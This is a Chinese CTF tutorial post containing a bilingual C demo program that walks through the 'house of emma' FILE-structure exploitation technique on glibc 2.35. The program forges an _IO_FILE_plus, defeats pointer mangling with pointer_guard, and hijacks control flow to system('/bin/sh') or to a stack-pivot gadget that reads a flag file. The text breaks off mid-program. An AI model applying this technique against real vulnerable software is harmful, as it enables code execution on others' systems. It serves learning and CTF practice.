glibc 2.35 pwn——house of emma示例程序

这是笔者写的house of emma示例程序,需要在ubuntu 22.04上编译运行,可以选择orw模式和getshell模式两种利用方式,每一步都有详细的解释,所有说明文字均使用不同颜色注明与高亮。请读者自取学习。如果需要进行调试,可以在需要调试的代码段插入sleep函数,然后就可以断在那里了。

若程序在运行过程中出现任何非预期情况,请及时与笔者联系,以便及时进行修改。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>

#define GETSHELL_MODE 1
#define ORW_MODE 2

// IMPORTANT! YOU CAN CHANGE THE MODE HERE
int mode = ORW_MODE;
char* sh = "/bin/sh";
char* flag = "./flag";
size_t space[0x100];

int main() {
    setvbuf(stdin,0LL,2,0LL);
    setvbuf(stdout,0LL,2,0LL);
    puts("\033[32mHello! today let's learn something about house of emma.\033[0m");
    puts("\033[32m本程序用于演示house of emma的漏洞利用原理。\033[0m");
    puts("\033[1;31mTested in Ubuntu 22.04, glibc version: Ubuntu GLIBC 2.35-0ubuntu3.1\033[0m");
    puts("\033[1;31m测试环境:Ubuntu 22.04,glibc版本为2.35-0ubuntu3.1\033[0m");
    puts("\033[32mHouse of emma is used for high version of glibc, it utilizes _IO_FILE struct to exploit.\033[0m");
    puts("\033[32mhouse of emma 适用于高版本glibc,它使用_IO_FILE结构体进行漏洞利用。\033[0m");
    puts("\033[32mSame as other way of exploitation with _IO_FILE, it also use fake _IO_FILE struct.\033[0m");
    puts("\033[32m与其他利用_IO_FILE结构体漏洞的方法相同,它也利用了伪造的_IO_FILE结构体。\n\033[0m");
    puts("\033[32mIt can be triggered by function __malloc_assert, so it always go with heap vulnerabilities.\033[0m");
    puts("\033[32m它可以通过函数__malloc_assert触发,因此它常常与堆漏洞相联系。\033[0m");
    puts("\033[32mFirst we need to know the structure of _IO_FILE in glibc 2.35:\033[0m"
         "\033[32m首先我们需要了解一下glibc 2.35版本下_IO_FILE结构体的内容:\n\033[0m"
         "\033[33m(line 49, /libio/bits/types/struct_FILE.h)\033[0m");
    puts("\033[34mstruct _IO_FILE\n"
         "{\n"
         "  int _flags;\t\t/* High-order word is _IO_MAGIC; rest is flags. */\n"
         "\n"
         "  /* The following pointers correspond to the C++ streambuf protocol. */\n"
         "  char *_IO_read_ptr;\t/* Current read pointer */\n"
         "  char *_IO_read_end;\t/* End of get area. */\n"
         "  char *_IO_read_base;\t/* Start of putback+get area. */\n"
         "  char *_IO_write_base;\t/* Start of put area. */\n"
         "  char *_IO_write_ptr;\t/* Current put pointer. */\n"
         "  char *_IO_write_end;\t/* End of put area. */\n"
         "  char *_IO_buf_base;\t/* Start of reserve area. */\n"
         "  char *_IO_buf_end;\t/* End of reserve area. */\n"
         "\n"
         "  /* The following fields are used to support backing up and undo. */\n"
         "  char *_IO_save_base; /* Pointer to start of non-current get area. */\n"
         "  char *_IO_backup_base;  /* Pointer to first valid character of backup area */\n"
         "  char *_IO_save_end; /* Pointer to end of non-current get area. */\n"
         "\n"
         "  struct _IO_marker *_markers;\n"
         "\n"
         "  struct _IO_FILE *_chain;\n"
         "\n"
         "  int _fileno;\n"
         "  int _flags2;\n"
         "  __off_t _old_offset; /* This used to be _offset but it's too small.  */\n"
         "\n"
         "  /* 1+column number of pbase(); 0 is unknown. */\n"
         "  unsigned short _cur_column;\n"
         "  signed char _vtable_offset;\n"
         "  char _shortbuf[1];\n"
         "\n"
         "  _IO_lock_t *_lock;\n"
         "#ifdef _IO_USE_OLD_IO_FILE\n"
         "};\n\033[0m");

    puts("\033[32mThe key element we need to forge is the *vtable pointer.\033[0m");
    puts("\033[32m其中的关键就是*vtable指针。\033[0m");
    puts("\033[32mIt's worth noticing that we need to write correct *_lock value in our fake _IO_FILE.\033[0m");
    puts("\033[32m值得注意的是,我们需要写入正确的*_lock指针值到伪造的_IO_FILE结构体中。\033[0m");
    puts("\033[32mThe value of *_lock should be \033[31m_IO_stdfile_1_lock.\033[0m");
    puts("\033[32m*_lock的值应该是\033[31m_IO_stdfile_1_lock.\033[0m");
    puts("\033[32mSo that we need to know the loading base address of libc.\033[0m");
    puts("\033[32m所以我们需要知道libc的加载基地址。\n\033[0m");

    puts("\033[35mNow let's get loading base address of libc through the address of function puts().\033[0m");
    puts("\033[35m现在让我们通过puts()函数获取一下libc的加载基地址。\033[0m");

    int(*func)(const char*)  = puts;
    printf("\033[32mThe address of function puts() is: \033[31m%p\n\033[0m", func);
    printf("\033[32mputs函数的地址为: \033[31m%p\n\033[0m", func);
    printf("\033[32mSo that the loading address of libc is: \033[31m%p\n\033[0m", func - 0x80ed0);
    printf("\033[32m因此libc的加载地址为: \033[31m%p\n\033[0m", func - 0x80ed0);
    puts("\033[33m(The offset address of function puts() is 0x80ed0)\033[0m");
    puts("\033[33m(puts函数的偏移量为0x80ed0)\n\033[0m");

    size_t libc_base = (size_t)(func - 0x80ed0);
    size_t stderr_ptr = (size_t)(libc_base + 0x21a860);

    printf("\033[32mSince we know the libc base address, we can also know the address of pointer stderr: \033[31m%p\033[0m\n", (void*)stderr_ptr);
    printf("\033[32m既然现在我们已经知道了libc的加载地址,我们也可以获得stderr指针的地址: \033[31m%p\033[0m\n", (void*)stderr_ptr);

    puts("\033[32mNow let's satisfy the second prerequisite of the exploit: \033[0m");
    puts("\033[32m下面让我们构造一下这个漏洞利用的第二个前提条件: \033[0m");
    puts("\033[33mGet the value of pointer_guard or change it to a known value.\033[0m");
    puts("\033[33m获取到pointer_guard的值并将其修改为一个已知值。\033[0m");
    puts("\033[32mOur house of emma has a stable call chain, and we'll need the value to guide rip to the function we want.\033[0m");
    puts("\033[32m我们的house of emma利用方式有一条完整的函数调用链,我们需要这个pointer_guard的值来引导rip到我们想要的函数。\033[0m");
    puts("\033[32mWhere the value is used will be introduced later.\033[0m");
    puts("\033[32m我们之后将会介绍这个pointer_guard的地址在什么地方。\033[0m");
    puts("\033[32mIt's worth noticing that\033[31m the value of pointer guard is not located in libc, while before libc.\033[0m");
    puts("\033[32m需要注意的是pointer guard的值并不在libc中,而是在libc的低地址处。\033[0m");
    puts("\033[32mIf you use pwndbg, you can see that before libc, there exists an anonymous space, with its size of 0x3000.\033[0m");
    puts("\033[32m如果使用pwndbg,你可以看到在libc前面有一个匿名的内存区域,大小为0x3000。\033[0m");
    puts("\033[32mThe tls struct is located in this anonymous area, which includes the value of pointer_guard.\033[0m");
    puts("\033[32mtls结构体就位于这个匿名的内存空间中,它包含有pointer_guard。\033[0m");
    puts("\033[32mTo be more detail, the value of pointer_guard is located in (libc_base - 0x3000 + 0x770)\033[0m");
    puts("\033[32m更具体地说,pointer_guard的值应该位于(libc_base - 0x3000 + 0x770)\n\033[0m");

    puts("\033[32mActually, the name of the struct is \033[31mtcbhead_t\033[32m. Here is the structure:\033[0m");
    puts("\033[32m实际上,这个结构体的名字是\033[31mtcbhead_t\033[32m. 下面是它的构造:\033[0m");
    puts("\033[33m(line 36, /sysdeps/x86_64/nptl/tls.h)\033[0m");
    puts("\033[34mtypedef struct\n"
         "{\n"
         "  void *tcb;\t\t/* Pointer to the TCB.  Not necessarily the\n"
         "\t\t\t   thread descriptor used by libpthread.  */\n"
         "  dtv_t *dtv;\n"
         "  void *self;\t\t/* Pointer to the thread descriptor.  */\n"
         "  int multiple_threads;\n"
         "  int gscope_flag;\n"
         "  uintptr_t sysinfo;\n"
         "  uintptr_t stack_guard;\n"
         "  uintptr_t pointer_guard;\n"
         "  unsigned long int unused_vgetcpu_cache[2];\n"
         "  /* Bit 0: X86_FEATURE_1_IBT.\n"
         "     Bit 1: X86_FEATURE_1_SHSTK.\n"
         "   */\n"
         "  unsigned int feature_1;\n"
         "  int __glibc_unused1;\n"
         "  /* Reservation of some values for the TM ABI.  */\n"
         "  void *__private_tm[4];\n"
         "  /* GCC split stack support.  */\n"
         "  void *__private_ss;\n"
         "  /* The lowest address of shadow stack,  */\n"
         "  unsigned long long int ssp_base;\n"
         "  /* Must be kept even if it is no longer used by glibc since programs,\n"
         "     like AddressSanitizer, depend on the size of tcbhead_t.  */\n"
         "  __128bits __glibc_unused2[8][4] __attribute__ ((aligned (32)));\n"
         "\n"
         "  void *__padding[8];\n"
         "} tcbhead_t;\033[0m");
    puts("\033[32mWe can see that the stack guard is right above the pointer guard, so we can't absolutely change the stack_guard.\033[0m");
    puts("\033[32m我们可以发现stack_guard就在pointer_guard的上面,因此我们绝对不能修改stack_guard的值。\033[0m");
    printf("\033[32mLet's calculate the address of pointer_guard: \033[31m%p\033[0m\n", (size_t*)(libc_base - 0x3000 + 0x770));
    printf("\033[32m让我们计算一下pointer_guard的地址: \033[31m%p\033[0m\n", (size_t*)(libc_base - 0x3000 + 0x770));

    size_t* pointer_guard_address = (size_t*)(libc_base - 0x3000 + 0x770);
    printf("\033[32mThe value of pointer_guard is: \033[31m%#zx\033[0m\n", *pointer_guard_address);
    printf("\033[32mpointer_guard的值为: \033[31m%#zx\033[0m\n", *pointer_guard_address);
    puts("\033[32mIn CTF problems you can't always get the original value of pointer_guard, but you can also change it to a known value.\033[0m");
    puts("\033[32m在CTF赛题中你可能不能获取到pointer_guard的值,但你可以将其改写为一个已知值。\n\033[0m");

    puts("\033[32mOK, now we can try to forge a _IO_FILE struct.\033[0m");
    puts("\033[32m那么现在我们就来开始伪造_IO_FILE结构体。\033[0m");
    puts("\033[32mAttention: what we forge is actually _IO_FILE_plus struct, which contains a _IO_FILE struct and a vtable pointer(_IO_jump_t*)\033[0m");
    puts("\033[32m注意:我们伪造的实际上是_IO_FILE_plus结构体,其包含_IO_FILE结构体的所有内容以及一个vtable指针(_IO_jump_t*)\033[0m");

    struct _IO_FILE* fake_file_struct = (struct _IO_FILE*)malloc(0x100);
    size_t* vtable = (size_t*)((char*)fake_file_struct + sizeof (struct _IO_FILE));

    printf("\033[32mWe just allocate a fake _IO_FILE_plus struct into the heap: \033[31m%p\033[m\n", fake_file_struct);
    printf("\033[32m我们刚刚分配了一个假的_IO_FILE_plus结构体到堆: \033[31m%p\033[m\n", fake_file_struct);
    printf("\033[32mThe address of fake _IO_FILE_plus is: \033[31m%p\033[0m\n", fake_file_struct);
    printf("\033[32m这个假的_IO_FILE_plus结构体的地址为: \033[31m%p\033[0m\n", fake_file_struct);
    printf("\033[32mThe address of vtable pointer is: \033[31m%p\033[0m\n", vtable);
    printf("\033[32mvtable指针的地址为: \033[31m%p\033[0m\n", vtable);
    puts("\033[32mThen we are going to change the value of _lock and vtable pointer.\033[0m");
    puts("\033[32m然后我们来修改_lock和vtable指针的值。\033[0m");
    puts("\033[32mThe _lock should be changed into \033[31m_IO_stdfile_1_lock\033[32m, which is in \033[31m(libc_base + 0x21ba70).\033[0m");
    puts("\033[32m_lock的值应该被修改为\033[31m_IO_stdfile_1_lock\033[32m, 它的地址为\033[31m(libc_base + 0x21ba70).\033[0m");
    puts("\033[32mThe vtable should be changed into \033[31m(_IO_cookie_jumps + 0x38)\033[32m, "
         "which points to function \033[31m_IO_file_xsputn.\033[0m");
    puts("\033[32mvtable指针应该被修改为\033[31m(_IO_cookie_jumps + 0x38)\033[32m, "
         "其指向函数\033[31m_IO_file_xsputn.\033[0m\n");

    printf("\033[32mBefore alteration: fake_file_struct->_lock = \033[33m%p\033[0m\n", fake_file_struct->_lock);
    printf("\033[32m修改前: fake_file_struct->_lock = \033[33m%p\033[0m\n", fake_file_struct->_lock);
    fake_file_struct->_lock = (void *) (libc_base + 0x21ba70);
    printf("\033[32mAfter alteration: fake_file_struct->_lock = \033[31m%p\033[0m\n", fake_file_struct->_lock);
    printf("\033[32m修改后: fake_file_struct->_lock = \033[31m%p\033[0m\n\n", fake_file_struct->_lock);

    printf("\033[32mBefore alteration: fake_file_struct->vtable = \033[33m%#zx\033[0m\n", *vtable);
    printf("\033[32m修改前: fake_file_struct->vtable = \033[33m%#zx\033[0m\n", *vtable);
    *vtable = (size_t)(libc_base + 0x215b80 + 0x38);
    printf("\033[32mAfter alteration: fake_file_struct->vtable = \033[31m%#zx\033[0m\n", *vtable);
    printf("\033[32m修改后: fake_file_struct->vtable = \033[31m%#zx\033[0m\n\n", *vtable);

    size_t* top_chunk_size = (size_t*)((char*)fake_file_struct + 0x108);
    printf("\033[32mThrough pwndbg, we can see that the size of top chunk is at fake_file_struct + 0x108 = %p\033[0m\n", top_chunk_size);
    printf("\033[32m通过pwndbg我们可以看到top chunk的大小保存在fake_file_struct + 0x108 = %p\033[0m\n", top_chunk_size);
    printf("\033[32mThe value of top_chunk->size is: %#zx\033[0m\n", *top_chunk_size);
    printf("\033[32mtop chunk的大小top_chunk->size为: %#zx\033[0m\n", *top_chunk_size);
    puts("\033[32mIn function sysmalloc, there is a check for page alignment of top chunk: \n\033[0m");
    puts("\033[32m在函数sysmalloc中,有一个检查top chunk页对齐的代码片段: \033[0m");
    puts("\033[33m(line 2617, /malloc/malloc.c)\033[0m");
    puts("\033[34m  assert ((old_top == initial_top (av) && old_size == 0) ||\n"
         "          ((unsigned long) (old_size) >= MINSIZE &&\n"
         "           prev_inuse (old_top) &&\n"
         "           ((unsigned long) old_end & (pagesize - 1)) == 0));\n\033[0m");
    puts("\033[32mThe function assert here in malloc.c is a bit different from that in other file.\033[0m");
    puts("\033[32m这个malloc.c中的assert函数与其他文件中的函数不太一样。\033[0m");
    puts("\033[32mBecause in malloc.c there is a #define statement: \033[0m");
    puts("\033[32m因为在malloc.c中有一个#define语句: \n\033[0m");
    puts("\033[33m(line 292, /malloc/malloc.c)\033[0m");
    puts("\033[34m# define __assert_fail(assertion, file, line, function)\t\t\t\\\n"
         "\t __malloc_assert(assertion, file, line, function)\n\033[0m");
    puts("\033[32mSo that if the assertion in malloc.c failed, it will call function __malloc_assert.\033[0m");
    puts("\033[32m所以如果这个检查失败了,那么它就会调用__malloc_assert.\033[0m");

    puts("\033[32mThe content of function __malloc_assert is: \033[0m");
    puts("\033[32m__malloc_assert函数的内容为: \033[0m");
    puts("\033[33m(line 297, /malloc/malloc.c)\033[0m");
    puts("\033[34mstatic void\n"
         "__malloc_assert (const char *assertion, const char *file, unsigned int line,\n"
         "\t\t const char *function)\n"
         "{\n"
         "  (void) __fxprintf (NULL, \"%s%s%s:%u: %s%sAssertion `%s' failed.\\n\",\n"
         "\t\t     __progname, __progname[0] ? \": \" : \"\",\n"
         "\t\t     file, line,\n"
         "\t\t     function ? function : \"\", function ? \": \" : \"\",\n"
         "\t\t     assertion);\n"
         "  fflush (stderr);\n"
         "  abort ();\n"
         "}\033[0m\n");

    puts("\033[32mWhile in function __fxprintf, it will utilize stderr to output something, and that is our chance.\033[0m");
    puts("\033[32m函数__fxprintf会利用stderr来输出错误信息,这就是我们利用的机会。\033[0m");
    puts("\033[32mThrough forging fake _IO_FILE struct, we can turn to anywhere that can be executed.\033[0m");
    puts("\033[32m通过伪造_IO_FILE结构体,我们可以执行任意地址的代码。\033[0m");
    puts("\033[32mThe easiest way in CTF is turning the execution flow into one gadget.\033[0m");
    puts("\033[32m在CTF比赛中最简单的方法就是将执行流转到one_gadget中。\033[0m");
    puts("\033[32mBut one gadgets in libc 2.35 all have many constraints, which we need to pay attention to.\033[0m");
    puts("\033[32m但glibc 2.35版本的one gadget有很多的限制条件需要注意。\033[0m");
    puts("\033[32mMoreover, many problems today have sandboxes, where you cannot use the syscall EXECVE.\033[0m");
    puts("\033[32m另外,现在的很多赛题都有沙箱,我们可能不能调用execve的系统调用。\033[0m");
    puts("\033[32mSo stack pivoting may be the most common step in exploitation.\033[0m");
    puts("\033[32m因此栈迁移就是本方法利用中较为常用的手段了。\n\033[0m");

    puts("\033[32mIn function __vxprintf_internal, which is called indirectly by __fxprintf, it will call function _IO_cookie_read: \033[0m");
    puts("\033[32m__fxprintf函数会间接调用到__vxprintf_internal函数,后者会调用_IO_cookie_read函数: \033[0m");
    puts("\033[34m<__vfprintf_internal+280>    call   qword ptr [r12 + 0x38]\033[0m");
    puts("\033[32mThe 'r12' here is (_IO_cookie_jumps + 0x38), which is the value of *vtable we wrote in before.\033[0m");
    puts("\033[32m这里的r12寄存器的值就是(_IO_cookie_jumps + 0x38), 这就是我们前面写的*vtable值。\033[0m");
    puts("\033[32mAs you can see in struct _IO_cookies_jump: \033[0m");
    puts("\033[32m就如_IO_cookies_jump中代码展示的这样: \033[0m");
    puts("\033[33m(line 111, /libio/iofopncook.c)\033[0m");
    puts("\033[34mstatic const struct _IO_jump_t _IO_cookie_jumps libio_vtable = {\n"
         "  JUMP_INIT_DUMMY,\n"
         "  JUMP_INIT(finish, _IO_file_finish),\n"
         "  JUMP_INIT(overflow, _IO_file_overflow),\n"
         "  JUMP_INIT(underflow, _IO_file_underflow),\n"
         "  JUMP_INIT(uflow, _IO_default_uflow),\n"
         "  JUMP_INIT(pbackfail, _IO_default_pbackfail),\n"
         "  JUMP_INIT(xsputn, _IO_file_xsputn),\n"
         "  JUMP_INIT(xsgetn, _IO_default_xsgetn),\n"
         "  JUMP_INIT(seekoff, _IO_cookie_seekoff),\n"
         "  JUMP_INIT(seekpos, _IO_default_seekpos),\n"
         "  JUMP_INIT(setbuf, _IO_file_setbuf),\n"
         "  JUMP_INIT(sync, _IO_file_sync),\n"
         "  JUMP_INIT(doallocate, _IO_file_doallocate),\n"
         "  JUMP_INIT(read, _IO_cookie_read),\n"
         "  JUMP_INIT(write, _IO_cookie_write),\n"
         "  JUMP_INIT(seek, _IO_cookie_seek),\n"
         "  JUMP_INIT(close, _IO_cookie_close),\n"
         "  JUMP_INIT(stat, _IO_default_stat),\n"
         "  JUMP_INIT(showmanyc, _IO_default_showmanyc),\n"
         "  JUMP_INIT(imbue, _IO_default_imbue),\n"
         "};\n\033[0m");
    puts("\033[31m(_IO_cookie_jumps + 0x38) \033[32mpoints to \033[35m_IO_file_xsputn\033[32m.\033[0m");
    puts("\033[31m(_IO_cookie_jumps + 0x38) \033[32m指向的是\033[35m_IO_file_xsputn\033[32m.\033[0m");
    puts("\033[31m(_IO_cookie_jumps + 0x38 + 0x38) \033[32mpoints to \033[35m_IO_cookie_read\033[32m.\033[0m");
    puts("\033[31m(_IO_cookie_jumps + 0x38 + 0x38) \033[32m指向的是\033[35m_IO_cookie_read\033[32m.\033[0m");
    puts("\033[32mSo here we let it call _IO_cookie_read function.\033[0m");
    puts("\033[32m所以这里我们让程序调用_IO_cookie_read函数.\n\033[0m");

    puts("\033[32mThen let's have a look at _IO_cookie_read function.\033[0m");
    puts("\033[32m让我们看一下_IO_cookie_read函数的内容。\033[0m");
    puts("\033[34m<_IO_cookie_read>:\tendbr64 \n"
         "   <_IO_cookie_read+4>:\tmov    rax,QWORD PTR [rdi+0xe8]\n"
         "   <_IO_cookie_read+11>:\tror    rax,0x11\n"
         "   <_IO_cookie_read+15>:\txor    rax,QWORD PTR fs:0x30\n"
         "   <_IO_cookie_read+24>:\ttest   rax,rax\n"
         "   <_IO_cookie_read+27>:\tje     <_IO_cookie_read+38>\n"
         "   <_IO_cookie_read+29>:\tmov    rdi,QWORD PTR [rdi+0xe0]\n"
         "   <_IO_cookie_read+36>:\t\033[31mjmp    rax\033[34m\n"
         "   <_IO_cookie_read+38>:\tmov    rax,0xffffffffffffffff\n"
         "   <_IO_cookie_read+45>:\tret\033[0m\n");
    puts("\033[32mAs you can see, it directly calls rax, and 'rdi' here is actually our fake _IO_FILE_plus address.\033[0m");
    puts("\033[32m可以看到,它直接call rax,这里的rdi实际上就是假的_IO_FILE_plus结构体的地址。\033[0m");
    puts("\033[32mSo that we can write any executable address into [rdi+0xe8].\033[0m");
    puts("\033[32m因此我们可以将任意可执行的地址写入到[rdi+0xe8].\033[0m");
    puts("\033[32mHowever, don't forget some instructions in the middle.\033[0m");
    puts("\033[32m但是,别忘了中间还有几条指令。\033[0m");
    puts("\033[32mHere, you can see a 'ror' instruction and a 'xor' instruction that change the value of rax.\033[0m");
    puts("\033[32m这里你可以看到有一个ror指令和一个xor指令,这些指令会修改rax的值。\033[0m");
    puts("\033[32mThat is actually a kind of protection strategy used in high versions of glibc ---- encrypting the address.\033[0m");
    puts("\033[32m这实际上是高版本glibc的一种保护方式——将地址进行简单加密。\033[0m");
    puts("\033[32mHere, these two instruction is decrypting rax, first ror 11 bits, and second xor fs:0x30h, which is our \033[31mpointer_guard.\033[0m");
    puts("\033[32m这里的这两条指令实际上是在解密rax,首先循环右移0x11位,然后异或fs:0x30h,这实际上就是\033[31mpointer_guard.\033[0m");
    puts("\033[32mNow you know that why we need the value of pointer_guard, it's important for us to encrypt executable address.\033[0m");
    puts("\033[32m现在你应该知道为什么我们需要修改pointer_guard的值了,它对于地址的加密过程很重要。\033[0m");
    puts("\033[32mThe encryption algorithm is easy to get: first xor pointer_guard, and second rol 0x11 bits.\033[0m");
    puts("\033[32m加密方式很好推出来:首先异或pointer_guard,然后循环左移0x11位。\n\033[0m");

    puts("\033[32mPay attention to the instruction before 'jmp rax': mov rdi, QWORD PTR [rdi+0xe0]\033[0m");
    puts("\033[32m注意'jmp rax'之前的指令: mov rdi, QWORD PTR [rdi+0xe0]\n\033[0m");
    puts("\033[32mIf there is not any sandbox, we can let rax=system() address, and [rdi+0xe0]='/bin/sh' address.\033[0m");
    puts("\033[32m如果这里没有沙箱,我们可以让rax等于system函数地址,[rdi+0xe0]等于字符串/bin/sh的地址\033[0m");
    puts("\033[32mElse, you can also fill it with 'pcop' to trigger stack pivoting and open, read, write flag file.\033[0m");
    puts("\033[32m否则,我们也可以填充pcop的地址来触发栈迁移,然后打开、读、写flag文件。\n\033[0m");

    if(mode == 1){
        puts("\033[35mYou chose the getshell mode.\033[0m");
        puts("\033[35m你选择了getshell模式。\033[0m");
        puts("\033[32mSo that we'll write '/bin/sh' address into [rdi+0xe0] and encrypted system() address into [rdi+0xe8]\033[0m");
        puts("\033[32m所以我们在[rdi+0xe0]处写入字符串/bin/sh的地址,将加密后的system函数地址写入[rdi+0xe8]处。\033[0m");

        char** sh_addr = (char**)((char*)fake_file_struct + 0xe0);
        printf("\033[32mThe address of string '/bin/sh' should be written in: \033[31m%p\n\033[0m", sh_addr);
        printf("\033[32m字符串'/bin/sh'的地址应该被写到: \033[31m%p\n\033[0m", sh_addr);
        *sh_addr = sh;
        printf("\033[32m指针解引用的值为: \033[31m%p\033[0m\n", *sh_addr);

        size_t* system_addr = (size_t*)((char*)fake_file_struct + 0xe8);
        printf("\033[32mThe address of function system() should be written in: \033[31m%p\n\033[0m", system_addr);
        printf("\033[32m函数system()的地址应该被写到: \033[31m%p\n\033[0m", system_addr);
        *system_addr = (size_t)system;
        printf("\033[32mNow the value of the pointer is: \033[31m%#zx\033[0m\n", *system_addr);
        printf("\033[32m指针解引用的值为: \033[31m%#zx\033[0m\n", *system_addr);
        printf("\033[32mThen we need to let it xor with pointer_guard: \033[33m%#zx.\n\033[0m", *pointer_guard_address);
        printf("\033[32m然后我们需要让这个值异或pointer_guard: \033[33m%#zx.\n\033[0m", *pointer_guard_address);
        *system_addr ^= *pointer_guard_address;
        printf("\033[32mAfter xor, the value of [rdi+0xe8] is: \033[35m%#zx\n\033[0m", *system_addr);
        printf("\033[32m异或之后[rdi+0xe8]的值为: \033[35m%#zx\n\033[0m", *system_addr);
        puts("\033[32mThen we need to let it rol 0x11 bits.\n\033[0m");
        puts("\033[32m然后我们循环左移0x11位:\n\033[0m");
        *system_addr = (*system_addr << 0x11) + (*system_addr >> 0x2f);
        printf("\033[32mAfter rol, the value of [rdi+0xe8] is: \033[35m%#zx\n\033[0m\n", *system_addr);
        printf("\033[32m循环左移后,[rdi+0xe8]的值为: \033[35m%#zx\n\033[0m\n", *system_addr);
    }else if(mode == 2){
        puts("\033[32mYou chose the orw mode.\033[0m");
        puts("\033[32m你选择了orw模式。\033[0m");
        puts("\033[1;31mIMPORTANT: You must make sure that there is a flag file in this directory, or we'll be unable to read.\033[0m");
        puts("\033[1;31m注意:你必须保证当前文件夹下有一个flag文件,否则该程序将无法读取。\n\033[0m");

        puts("\033[32mIn glibc 2.35, we usually use setcontext() function to trigger stack pivoting, but with a little difference from lower versions.\033[0m");
        puts("\033[32m在glibc 2.35中,我们一般使用setcontext函数进行栈迁移,但与低版本的glibc的利用方式有一些小差别。\033[0m");
        puts("\033[32mIn lower version, the instruction that changes the rsp is: 'mov rsp, [rdi+xx]'.\033[0m");
        puts("\033[32m在低版本glibc中,修改rsp的指令为: 'mov rsp, [rdi+xx]'.\033[0m");
        puts("\033[32mThe rdi here is our [fake _IO_FILE_plus struct + 0xe0].\033[0m");
        puts("\033[32m这里的rdi是[fake _IO_FILE_plus struct + 0xe0].\033[0m");
        puts("\033[32mBut in glibc 2.35, the instruction was changed to: \033[31m'mov rsp, [rdx+xx]'\033[32m.\033[0m");
        puts("\033[32m但是在glibc 2.35中,这条指令被修改为: \033[31m'mov rsp, [rdx+xx]'\033[32m.\033[0m");
        puts("\033[32mSo that we can't change the value of rsp only by writing forged data in our fake _IO_FILE_plus struct.\033[0m");
        puts("\033[32m所以我们不能仅通过将假的数据写入到假的_IO_FILE_plus结构体而修改rsp的值。\033[0m");
        puts("\033[32mHowever, we still have our way to exploit. It's called pcop, which is just a unique gadget.");
        puts("\033[32m但我们依然能够进行漏洞利用,需要一个pcop,这是一个特殊的gadget。\n");

        puts("\033[32mTry to use this command below in the terminal: \033[0m");
        puts("\033[32m可以尝试在终端运行以下命令:: \033[0m");
        puts("\033[1;34mobjdump -d /lib/x86_64-linux-gnu/libc.so.6 -M intel | grep '1675b'\033[0m");
        puts("\033[32mYou can see a gadget in offset \033[31m0x1675b0\033[32m: \033[0m\n");
        puts("\033[32m你可以在偏移\033[31m0x1675b0\033[32m处看到有一个gadget: \033[0m\n");
        puts("\033[34m  1675b0:       48 8b 57 08             mov    rdx,QWORD PTR [rdi+0x8]\n"
             "  1675b4:       48 89 04 24             mov    QWORD PTR [rsp],rax\n"
             "  1675b8:       ff 52 20                call   QWORD PTR [rdx+0x20]\033[0m\n");
        puts("\033[32mIt seems that we can use the value of [rdi+0x8] to change rdx to any value as we like.\033[0m");
        puts("\033[32m我们似乎可以使用[rdi+0x8]的值去修改rdx的值为任意值。\033[0m");
        puts("\033[32mAnd then we can change the rip into [rdx+0x20].\033[0m");
        puts("\033[32m然后我们就可以将rip修改到[rdx+0x20]。\033[0m");
        puts("\033[32mWe can change rdx to a place that we can control, then write setcontext() address in it to trigger stack pivoting.\033[0m");
        puts("\033[32m我们可以将rdx修改到一个我们可以控制的地方,然后将setcontext函数的地址写进去来触发栈迁移。\033[0m");
        puts("\033[32mTo keep the environment of heap, we use a space in bss segment to complete this process.\033[0m");
        puts("\033[32m为了保持堆环境,我们使用bss段的一块空间来完成这个过程。\033[0m");
        printf("\033[32mThe address of bss space is: \033[31m%p\033[32m.\033[0m\n", &space);
        printf("\033[32mbss对应地址为: \033[31m%p\033[32m.\033[0m\n\n", &space);

        puts("\033[32mWe let [rdi+0xe0] = bss address, [rdi+0xe8] = pcop address.\033[0m");
        puts("\033[32m我们让[rdi+0xe0] = bss的地址, [rdi+0xe8] = pcop的地址.\033[0m");
        size_t* bss_address = (size_t*)((char*)fake_file_struct + 0xe0);
        printf("\033[32mThe address of bss should be written in: \033[31m%p\n\033[0m", bss_address);
        printf("\033[32m这个bss的地址应该被写入: \033[31m%p\n\033[0m", bss_address);
        *bss_address = (size_t)(&space);
        printf("\033[32mThe value of the pointer is: \033[31m%#zx\033[0m\n", *bss_address);
        printf("\033[32m这个指针的值现在为: \033[31m%#zx\033[0m\n", *bss_address);

        size_t* pcop = (size_t*)((char*)fake_file_struct + 0xe8);
        printf("\033[32mThe address of pcop should be written in: \033[31m%p\n\033[0m", pcop);
        printf("\033[32mpcop的地址应该被写入到: \033[31m%p\n\033[0m", pcop);
        *pcop = (size_t)(libc_base + 0x1675b0);
        printf("\033[32mThe value of the pointer is: \033[31m%#zx\033[0m\n", *pcop);
        printf("\033[32m这个指针现在的值为: \033[31m%#zx\033[0m\n", *pcop);
        puts("\033[32mDon't forget we need to encrypt the pcop value.\033[0m");
        puts("\033[32m别忘了我们需要加密pcop的值。\033[0m");

        printf("\033[32mThen we need to let it xor with pointer_guard: \033[33m%#zx.\n\033[0m", *pointer_guard_address);
        printf("\033[32m然后我们需要让pcop与pointer_guard异或: \033[33m%#zx.\n\033[0m", *pointer_guard_address);
        *pcop ^= *pointer_guard_address;
        printf("\033[32mAfter xor, the value of [rdi+0xe8] is: \033[35m%#zx\n\033[0m", *pcop);
        printf("\033[32m异或之后,[rdi+0xe8]的值为: \033[35m%#zx\n\033[0m", *pcop);

        puts("\033[32mThen we need to let it rol 0x11 bits.\033[0m");
        puts("\033[32m然后我们让它循环左移0x11位。\033[0m");
        *pcop = (*pcop << 0x11) + (*pcop >> 0x2f);
        printf("\033[32mAfter rol, the value of [rdi+0xe8] is: \033[35m%#zx\n\033[0m\n", *pcop);
        printf("\033[32m循环左移之后,[rdi+0xe8]的值为: \033[35m%#zx\n\033[0m\n", *pcop);

        puts("\033[32mNow, we are ready to write something in our bss segment.\033[0m");
        puts("\033[32m现在我们准备写一些内容到bss段。\033[0m");
        puts("\033[32mNoticing that the first instruction of pcop moves [rdi+0x8] to rdx, while rdi now is address of bss.\033[0m");
        puts("\033[32m注意到pcop的第一条指令将[rdi+0x8]的值移动到rdx,而rdi此时的值是bss处的地址。\033[0m");
        printf("\033[32mSo that we can write the address of somewhere in bss to [rdi+0x8](%p).\033[0m", &(space[1]));
        printf("\033[32m所以我们可以将任意地址写到[rdi+0x8](%p)这个bss段中的地址。.\033[0m", &(space[1]));
        space[1] = (size_t)space;
        printf("\033[32m[rdi+0x8] now is: \033[31m%#zx\033[32m.\n\033[0m", space[1]);
        printf("\033[32m[rdi+0x8]现在的值为: \033[31m%#zx\033[32m.\n\033[0m", space[1]);

